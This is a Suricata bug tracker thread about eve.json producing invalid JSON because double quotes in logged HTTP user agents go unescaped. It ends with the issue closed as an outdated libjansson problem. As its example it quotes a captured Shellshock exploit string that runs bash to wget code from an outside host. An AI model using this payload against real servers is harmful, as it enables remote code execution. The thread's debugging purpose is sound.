Bug #1299
closedeve.json JSON output not valid under certain circumstances (e.g. Shellshock)
Description
This example comes from recent shellshock attacks.
grep '()' /sdcard/suricata/var/log/suricata/eve.json | sed 's/***\.***\./XXX\.XXX\./g' | while read line; do echo $line | python -m json.tool >> /tmp/test.json || echo $line >> /tmp/invalid.json; done ... tail -n1 /tmp/invalid.json ... tail -n1 /tmp/invalid.json {"timestamp":"2014-10-06T19:08:31.121661","event_type":"fileinfo","src_ip":"XXX.XXX.0.94","src_port":80,"dest_ip":"46.165.221.166","dest_port":28220,"proto":"TCP","http":{"url":"/","hostname":"oneiroi.co.uk","http_refer":"<unknown>","http_user_agent":"() { :;}; /bin/bash -c "wget http://psicologoweb.net/mc/s.php/oneiroi.co.uk""},"fileinfo":{"filename":"/","magic":"unknown","state":"CLOSED","stored":false,"size":178}}
The issue here is the http_user_agent; as the UA was sent with an exploit payload:
bin/bash -c "wget http://psicologoweb.net/mc/s.php/oneiroi.co.uk"
Ths again gets wrapped in double quotes when passing it out to eve.json such that the JSON is now invalid:
"bin/bash -c "wget http://psicologoweb.net/mc/s.php/oneiroi.co.uk"" ... tail -n1 /tmp/invalid.json | sed 's/-c "/-c \\"/g' | sed 's/""/\\""/g' | python -m json.tool { "dest_ip": "46.165.221.166", "dest_port": 28220, "event_type": "fileinfo", "fileinfo": { "filename": "/", "magic": "unknown", "size": 178, "state": "CLOSED", "stored": false }, "http": { "hostname": "oneiroi.co.uk", "http_refer": "<unknown>", "http_user_agent": "() { :;}; /bin/bash -c \"wget http://psicologoweb.net/mc/s.php/oneiroi.co.uk\"", "url": "/" }, "proto": "TCP", "src_ip": "XXX.XXX.0.94", "src_port": 80, "timestamp": "2014-10-06T19:08:31.121661" }
TL;DR: escaping of " char is required before writing out into eve.json; otherwise it is possible to create invalid JSON
Updated by Victor Julien almost 11 years ago
I think this should be handled by libjansson. The UA is passed to json_string, which should take care of the escaping as far as I know.
json_object_set_new(js, "http_user_agent", json_string(c));
Updated by Andreas Moe over 10 years ago
As far as i can se in the libjansson code, json_string() does no parsing. The json_dumps() does some if you for example set the ESCAPE_SLASH flag. I think this might have to go through the PrintRawUriBuf / PrintRawJsonBuf (which i wrote in my latest pull request https://github.com/inliniac/suricata/pull/1170) so that it parses the correct characters.
Updated by Andreas Moe over 10 years ago
I think i was wrong, maybe. In dumps.c of libjansson (on github, v2.7) the function dump_string() does parsing of the string. And this is called if you either dump to file or a buffer, so it should do the parsing as Victor said.
Updated by Victor Julien over 10 years ago
If this is the case, perhaps we should reject libjansson versions that are too old.
Updated by Andreas Herz over 9 years ago
- Assignee set to OISF Dev
- Target version set to 70
Updated by Andreas Herz over 9 years ago
Victor Julien wrote:
If this is the case, perhaps we should reject libjansson versions that are too old.
Shall we decide about a version and change it? Might be also a valid approach for other libs?
Updated by Victor Julien over 9 years ago
Sure, if we can find out which versions are good/bad :)
Updated by Christian lyra over 8 years ago
I think what I'm seeing here is related, as I got a invalid json when payload-printable is set to yes. Below is the offending part:
"payload_printable":"M-SEARCH * HTTP/1.1rnHost:239.255.255.250:1900rnST:upnp:rootdevicernMan:"ssdp:discover"rnMX:3rnrn",
I'm using suricata 3.1.3.
Updated by Victor Julien over 8 years ago
@Christian: what is your libjansson version?
Updated by Victor Julien over 7 years ago
- Status changed from New to Closed
- Assignee deleted (
OISF Dev) - Target version deleted (
70)
Old issue that is likely due to outdated libjansson. Closing.